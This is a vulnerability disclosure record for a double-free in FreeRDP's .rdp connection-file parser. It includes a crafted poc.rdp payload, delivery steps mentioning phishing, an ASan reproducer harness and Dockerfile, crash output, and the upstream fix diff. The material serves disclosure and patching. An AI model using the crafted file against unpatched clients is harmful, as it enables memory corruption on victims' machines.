ANT-2026-XQVPKKPB · freerdp/freerdp
double-free high
CVE-2026-64621 GHSA-f27x-frr8-j9hc
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-XQVPKKPB: Double-free of MonitorIds when parsing malformed selectedmonitors
In client/common/file.c, freerdp_client_rdp_file_apply_to_settings() obtains a raw (non-copied) pointer to settings->MonitorIds via freerdp_settings_get_pointer_writable() and, on the strtoul-overflow error path at line 2536, calls free(list) on that buffer without clearing the owning settings->MonitorIds pointer. When the error propagates up, freerdp_settings_free() later frees the same buffer again via freerdp_settings_set_pointer_len() in libfreerdp/common/settings.c:1442-1443. The attacker controls the freed chunk size through the number of comma-separated tokens preceding the overflowing value, and numerous heap operations occur between the two frees, enabling chunk recycling and an overlapping-allocation primitive rather than an immediate tcache abort. The only precondition is that the victim opens a crafted .rdp file, a well-known untrusted distribution vector parsed directly from argv.
Target
Project: freerdp/freerdp
Location: client/common/file.c:2536
Discovery: static analysis — not yet dynamically reproduced
Technical Details
freerdp_settings_get_pointer_writable() returns the raw settings->MonitorIds pointer (settings_getters.c:4145-4146), not a copy, so ownership remains with the settings object. When a selectedmonitors token overflows strtoul (val >= UINT32_MAX with errno set), the error branch at file.c:2536 calls free(list) directly and returns FALSE, but settings->MonitorIds still points to the freed memory. During client teardown (freerdp_client_context_free → rdp_free → freerdp_settings_free → freerdp_settings_free_keys), the dangling MonitorIds pointer is passed to free() a second time at libfreerdp/common/settings.c:1442-1443, producing a double-free.
Reproduction
- Craft a .rdp file containing e.g.
selectedmonitors:s:99999999999999999999999(optionally preceded by N comma-separated tokens to control chunk size). - Deliver the .rdp file to the victim (phishing/download); FreeRDP parses .rdp files directly from argv (cmdline.c:5693).
- During parsing, strtoul overflows (ULONG_MAX with errno=ERANGE), hitting the
(val >= UINT32_MAX) && (errno != 0)branch which calls free(list) on the live settings->MonitorIds buffer and returns FALSE. - The error propagates up and the client calls freerdp_client_context_free → freerdp_settings_free, which frees the dangling MonitorIds pointer a second time at settings.c:1442-1443.
- Intervening heap activity (freerdp_client_rdp_file_free string frees, status printing, ContextFree callbacks) recycles the chunk between the two frees, yielding an overlapping-allocation primitive.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
On parse failure do not free buffers still owned by the settings object: replace free(list) with freerdp_settings_set_pointer_len(settings, FreeRDP_MonitorIds, nullptr, 0), or clear settings->MonitorIds before freeing so the destructor releases it exactly once.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-XQVPKKPB.
Reference: ANT-2026-XQVPKKPB
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Summary
When a FreeRDP client opens a .rdp connection file, freerdp_client_rdp_file_apply_to_settings()
(client/common/file.c) parses the selectedmonitors field into settings->MonitorIds.
It allocates that array through the settings object, then takes a raw, non-owning
pointer to it via freerdp_settings_get_pointer_writable(). On the strtoul-overflow
error path it calls free(list) on that raw pointer without clearing
settings->MonitorIds. The parse fails, the client tears down its rdpSettings, and
freerdp_settings_free() frees the same now-dangling buffer a second time — an
attacker-influenced double-free (CWE-415).
The attacker controls the freed chunk's size (number of comma-separated tokens), and there
is substantial heap activity between the two frees, so this is a size-controlled
double-free / overlapping-allocation primitive rather than a benign immediate abort. It is
reachable in the default configuration of every FreeRDP CLI client
(xfreerdp / sdl-freerdp / wlfreerdp) by getting a victim to open an
attacker-supplied .rdp file.
Affected versions
- FreeRDP 3.x — present in the latest release tag 3.27.1 (and 3.27.0) and on
master(HEAD1f7a716d39b5605bb8a83b0c3c97a6ce386609ef, reproduced 2026-07-01). Unpatched.free(list)on theMonitorIdserror path is atclient/common/file.c:2536in all of them. (Nostable-3.0branch exists; 3.x ships as tags offmaster, and the bug is in the released 3.27.1 tag — so it is not dev-branch-only.) - No special build flags required (stock
client-common).
Details
Vulnerable code
client/common/file.c, freerdp_client_rdp_file_apply_to_settings():
if (~(size_t)file->SelectedMonitors)
{
size_t count = 0;
char** ptr = CommandLineParseCommaSeparatedValues(file->SelectedMonitors, &count);
UINT32* list = nullptr;
if (!freerdp_settings_set_pointer_len(settings, FreeRDP_MonitorIds, nullptr, count)) // (1) settings->MonitorIds = calloc(count,4)
{ CommandLineParserFree(ptr); return FALSE; }
list = freerdp_settings_get_pointer_writable(settings, FreeRDP_MonitorIds); // (2) RAW pointer == settings->MonitorIds (NOT a copy)
if (!list && (count > 0)) { CommandLineParserFree(ptr); return FALSE; }
for (size_t x = 0; x < count; x++)
{
unsigned long val = 0;
errno = 0;
val = strtoul(ptr[x], nullptr, 0);
if ((val >= UINT32_MAX) && (errno != 0))
{
CommandLineParserFree(ptr);
free(list); // (3) file.c:2536 — frees settings->MonitorIds; owning field NOT cleared
return FALSE;
}
list[x] = (UINT32)val;
}
CommandLineParserFree(ptr);
}
freerdp_settings_get_pointer_writable(FreeRDP_MonitorIds) returns settings->MonitorIds
verbatim (settings_getters.c), so list is the settings-owned allocation. free(list)
at file.c:2536 leaves settings->MonitorIds dangling.
At teardown, freerdp_settings_free → freerdp_settings_free_internal → freerdp_settings_free_keys
walks each pointer field and calls freerdp_settings_set_pointer_len(..., FreeRDP_MonitorIds, NULL, 0),
which reaches:
// libfreerdp/common/settings.c:1375-1382 — freerdp_settings_set_pointer_len_()
void* old = freerdp_settings_get_pointer_writable(settings, id); // the dangling MonitorIds
free(old); // settings.c:1382 — SECOND free
The overflow trigger is reliable: for a token like 99999999999999999999999, strtoul
returns ULONG_MAX (>= UINT32_MAX) and sets errno = ERANGE (!= 0), satisfying the
error condition.
Root cause
The error path frees a buffer still owned by settings->MonitorIds without nulling the
owning field, breaking the single-owner invariant freerdp_settings_free() relies on.
Server-independent call path (from the CLI entry point)
main(argv = {"xfreerdp","poc.rdp"})
freerdp_client_settings_parse_command_line_arguments client/common/cmdline.c:6011
..._int (option_is_rdp_file(argv[1]) -> connection-file path) cmdline.c:5719
freerdp_client_settings_parse_connection_file client/common/client.c:385
freerdp_client_populate_settings_from_rdp_file(_unchecked) client/common/file.c:2726
free(list) client/common/file.c:2536 <-- FIRST free
...parse returns error...
freerdp_settings_free(settings)
freerdp_settings_free_keys -> freerdp_settings_set_pointer_len_ common/settings.c:1382 <-- SECOND free
Impact
A single crafted .rdp file, opened by the victim with any FreeRDP CLI client in the
default build, double-frees a heap chunk whose size the attacker selects (via token count).
Because the client performs substantial heap activity between the two frees (freeing the
many parsed .rdp string fields, context teardown, status printing), the freed chunk can
be recycled before the second free on a real glibc heap — turning a tcache double-free
abort into an overlapping-allocation (aliasing) primitive. Full RCE on a hardened allocator
is plausible but not demonstrated; this is a size-controlled double-free reachable from an
untrusted file with no CFI-bypass shown → High. No authentication; requires the victim
to open the file (normal usage for connection files).
Proof of Concept
Self-contained Docker reproducer. It builds libfreerdp + winpr + client-common under
AddressSanitizer at the affected commit, and a small consumer that invokes the exact
public top-level parser the shipped CLI clients call from main() —
freerdp_client_settings_parse_command_line_arguments(settings, {"xfreerdp","poc.rdp"}) —
then frees the settings object on the parse error, exactly as the clients do on teardown.
(The library API is used only to avoid the X11/SDL/network layers irrelevant to .rdp
parsing; the code path, frames, and ownership are identical to xfreerdp poc.rdp.)
poc.rdp
full address:s:127.0.0.1:3389
selectedmonitors:s:0,1,2,99999999999999999999999
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=1f7a716d39b5605bb8a83b0c3c97a6ce386609ef
ARG CLANG_VERSION=20
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake ninja-build pkg-config libc6-dev \
wget gnupg lsb-release software-properties-common \
libssl-dev zlib1g-dev libicu-dev libcjson-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
RUN git clone https://github.com/freerdp/freerdp /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
# libfreerdp + winpr + client-common (where the bug lives), ASan, shared libs, LTO off,
# no GUI clients / no server.
RUN cmake -GNinja -S /src/repo -B /build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INTERPROCEDURAL_OPTIMIZATION=OFF \
-DCMAKE_C_COMPILER=clang-${CLANG_VERSION} -DCMAKE_CXX_COMPILER=clang++-${CLANG_VERSION} \
-DCMAKE_C_FLAGS="$CFLAGS" -DCMAKE_CXX_FLAGS="$CXXFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/usr/local -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF \
-DWITH_SAMPLE=OFF -DWITH_SERVER=OFF -DWITH_CLIENT=OFF -DWITH_CLIENT_COMMON=ON \
-DWITH_CLIENT_SDL=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \
-DWITH_PULSE=OFF -DWITH_CUPS=OFF -DWITH_PCSC=OFF -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF \
-DWITH_OPUS=OFF -DWITH_KRB5=OFF -DWITH_GSSAPI=OFF -DWITH_FUSE=OFF \
-DWITH_URBDRC=OFF -DCHANNEL_URBDRC=OFF -DWITH_DRIVE=OFF -DWITH_VIDEO_FFMPEG=OFF \
&& cmake --build /build && cmake --install /build
RUN ldconfig
COPY harness.c /tmp/harness.c
COPY poc.rdp /tmp/poc.rdp
RUN $CC $CFLAGS -I/usr/local/include -I/usr/local/include/freerdp3 -I/usr/local/include/winpr3 \
/tmp/harness.c -o /tmp/poc_run \
-L/usr/local/lib -lfreerdp-client3 -lfreerdp3 -lwinpr3 $LDFLAGS
ENV LD_LIBRARY_PATH=/usr/local/lib
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-${CLANG_VERSION}/bin/llvm-symbolizer
CMD ["/bin/sh","-c","/tmp/poc_run /tmp/poc.rdp 2>&1; echo EXIT=$?"]
harness.c — drives the exact CLI parser + teardown
/* Real consumer of the FreeRDP client library: drives the exact public entry point the
* shipped CLI clients invoke from main(), with argv = {"xfreerdp","<file.rdp>"}. The parser
* detects the ".rdp" extension and routes to freerdp_client_rdp_file_apply_to_settings(),
* where the malformed selectedmonitors token overflows strtoul and the error branch at
* client/common/file.c:2536 free()s the live settings->MonitorIds without clearing the
* owning pointer. Client teardown (freerdp_settings_free) then frees it a second time. */
#include <stdio.h>
#include <freerdp/client.h>
#include <freerdp/client/cmdline.h>
#include <freerdp/settings.h>
int main(int argc, char** argv)
{
const char* rdp = (argc > 1) ? argv[1] : "/tmp/poc.rdp";
rdpSettings* settings = freerdp_settings_new(0);
if (!settings) { fprintf(stderr, "freerdp_settings_new failed\n"); return 2; }
char prog[] = "xfreerdp";
char file[4096];
snprintf(file, sizeof(file), "%s", rdp);
char* av[] = { prog, file, NULL };
int rc = freerdp_client_settings_parse_command_line_arguments(settings, 2, av, FALSE);
fprintf(stderr, "parse_command_line_arguments returned %d (error expected)\n", rc);
/* Client teardown: settings->MonitorIds was already free()'d on the error path
* -> second free here. */
freerdp_settings_free(settings);
fprintf(stderr, "settings freed cleanly (NO double-free detected)\n");
return 0;
}
Run
docker build -t freerdp-monitorids-doublefree .
docker run --rm freerdp-monitorids-doublefree
Observed output (AddressSanitizer, current master 1f7a716d)
parse_command_line_arguments returned -1002 (error expected)
==7==ERROR: AddressSanitizer: attempting double-free on 0x7b8df67fef50 in thread T0:
#1 freerdp_settings_set_pointer_len_ /src/repo/libfreerdp/common/settings.c:1382:2
#2 freerdp_settings_free_keys /src/repo/libfreerdp/common/settings_str.c:348:10
#4 freerdp_settings_free /src/repo/libfreerdp/core/settings.c:1397:2
#5 main /tmp/harness.c:50:2
0x7b8df67fef50 is located 0 bytes inside of 16-byte region [...]
freed by thread T0 here:
#1 freerdp_client_populate_settings_from_rdp_file_unchecked /src/repo/client/common/file.c:2536:5
... freerdp_client_settings_parse_command_line_arguments .../cmdline.c:6011
previously allocated by thread T0 here:
#1 freerdp_settings_set_pointer_len_ /src/repo/libfreerdp/common/settings.c:1395:9
#2 freerdp_client_populate_settings_from_rdp_file_unchecked /src/repo/client/common/file.c:2517:8
SUMMARY: AddressSanitizer: double-free /src/repo/libfreerdp/common/settings.c:1382 in freerdp_settings_set_pointer_len_
EXIT=134
The three stacks show the same 16-byte chunk allocated at settings.c:1395 (from file.c:2517),
freed first at file.c:2536, and freed again at settings.c:1382 during freerdp_settings_free.
Suggested fix
Do not free a buffer still owned by the settings object — release it through the settings API so the owning field is cleared and the destructor frees it exactly once:
--- a/client/common/file.c
+++ b/client/common/file.c
@@ freerdp_client_rdp_file_apply_to_settings()
if ((val >= UINT32_MAX) && (errno != 0))
{
CommandLineParserFree(ptr);
- free(list);
+ /* settings still owns this buffer; clear it through the API so the
+ destructor frees it exactly once. Do not free the raw getter result. */
+ freerdp_settings_set_pointer_len(settings, FreeRDP_MonitorIds, NULL, 0);
return FALSE;
}
Fix-verified: with this one-line change, the same PoC completes cleanly
(settings freed cleanly (NO double-free detected), EXIT=0) — the ASan double-free no
longer fires (freerdp_settings_set_pointer_len frees the current MonitorIds and sets the
pointer to NULL / length 0, so teardown frees nothing).
References
client/common/file.c—freerdp_client_rdp_file_apply_to_settings()(free(list)at :2536; alloc at :2517).libfreerdp/common/settings.c:1375-1382(freerdp_settings_set_pointer_len_second free);settings_str.c(teardown walk);settings_getters.c(get_pointer_writablereturns the raw field).client/common/client.c(parse_connection_file),client/common/cmdline.c(option_is_rdp_file, top-level parser).- CWE-415 (Double Free).
Attribution
please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.
Disclosure
This report follows a 90-day coordinated disclosure timeline as per https://www.anthropic.com/coordinated-vulnerability-disclosure
The change that resolved this finding.
diff --git a/client/common/file.c b/client/common/file.c
index dc8af42fb1ba..dcd17899de0a 100644
--- a/client/common/file.c
+++ b/client/common/file.c
@@ -2533,7 +2533,6 @@ BOOL freerdp_client_populate_settings_from_rdp_file_unchecked(const rdpFile* fil
if ((val >= UINT32_MAX) && (errno != 0))
{
CommandLineParserFree(ptr);
- free(list);
return FALSE;
}
list[x] = (UINT32)val;https://github.com/FreeRDP/FreeRDP/commit/7696267929ae8ba045c1bbe275b3915653828313
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-06 Patch released
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
3a90d073b15799d00f35445781c7d4cf2389ac6ed3dd751727e154c08ea2410bce55fabefc0ad71899fc5da0bcae17903a01978dcda2025fd15c999cc8c35adb
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 21:48 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-XQVPKKPB",
"bug_class": "Double Free / Memory Corruption",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:52:41+00:00",
"description": "In client/common/file.c, freerdp_client_rdp_file_apply_to_settings() obtains a raw (non-copied) pointer to settings->MonitorIds via freerdp_settings_get_pointer_writable() and, on the strtoul-overflow error path at line 2536, calls free(list) on that buffer without clearing the owning settings->MonitorIds pointer. When the error propagates up, freerdp_settings_free() later frees the same buffer again via freerdp_settings_set_pointer_len() in libfreerdp/common/settings.c:1442-1443. The attacker controls the freed chunk size through the number of comma-separated tokens preceding the overflowing value, and numerous heap operations occur between the two frees, enabling chunk recycling and an overlapping-allocation primitive rather than an immediate tcache abort. The only precondition is that the victim opens a crafted .rdp file, a well-known untrusted distribution vector parsed directly from argv.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "client/common/file.c:2536",
"poc_sha256": null,
"preimage_version": 1,
"project": "freerdp/freerdp",
"reproduction": [
"1. Craft a .rdp file containing e.g. `selectedmonitors:s:99999999999999999999999` (optionally preceded by N comma-separated tokens to control chunk size).",
"2. Deliver the .rdp file to the victim (phishing/download); FreeRDP parses .rdp files directly from argv (cmdline.c:5693).",
"3. During parsing, strtoul overflows (ULONG_MAX with errno=ERANGE), hitting the `(val >= UINT32_MAX) && (errno != 0)` branch which calls free(list) on the live settings->MonitorIds buffer and returns FALSE.",
"4. The error propagates up and the client calls freerdp_client_context_free → freerdp_settings_free, which frees the dangling MonitorIds pointer a second time at settings.c:1442-1443.",
"5. Intervening heap activity (freerdp_client_rdp_file_free string frees, status printing, ContextFree callbacks) recycles the chunk between the two frees, yielding an overlapping-allocation primitive."
],
"technical_details": "freerdp_settings_get_pointer_writable() returns the raw settings->MonitorIds pointer (settings_getters.c:4145-4146), not a copy, so ownership remains with the settings object. When a selectedmonitors token overflows strtoul (val >= UINT32_MAX with errno set), the error branch at file.c:2536 calls free(list) directly and returns FALSE, but settings->MonitorIds still points to the freed memory. During client teardown (freerdp_client_context_free → rdp_free → freerdp_settings_free → freerdp_settings_free_keys), the dangling MonitorIds pointer is passed to free() a second time at libfreerdp/common/settings.c:1442-1443, producing a double-free.",
"title": "Double-free of MonitorIds when parsing malformed selectedmonitors",
"vendor_severity": "high"
}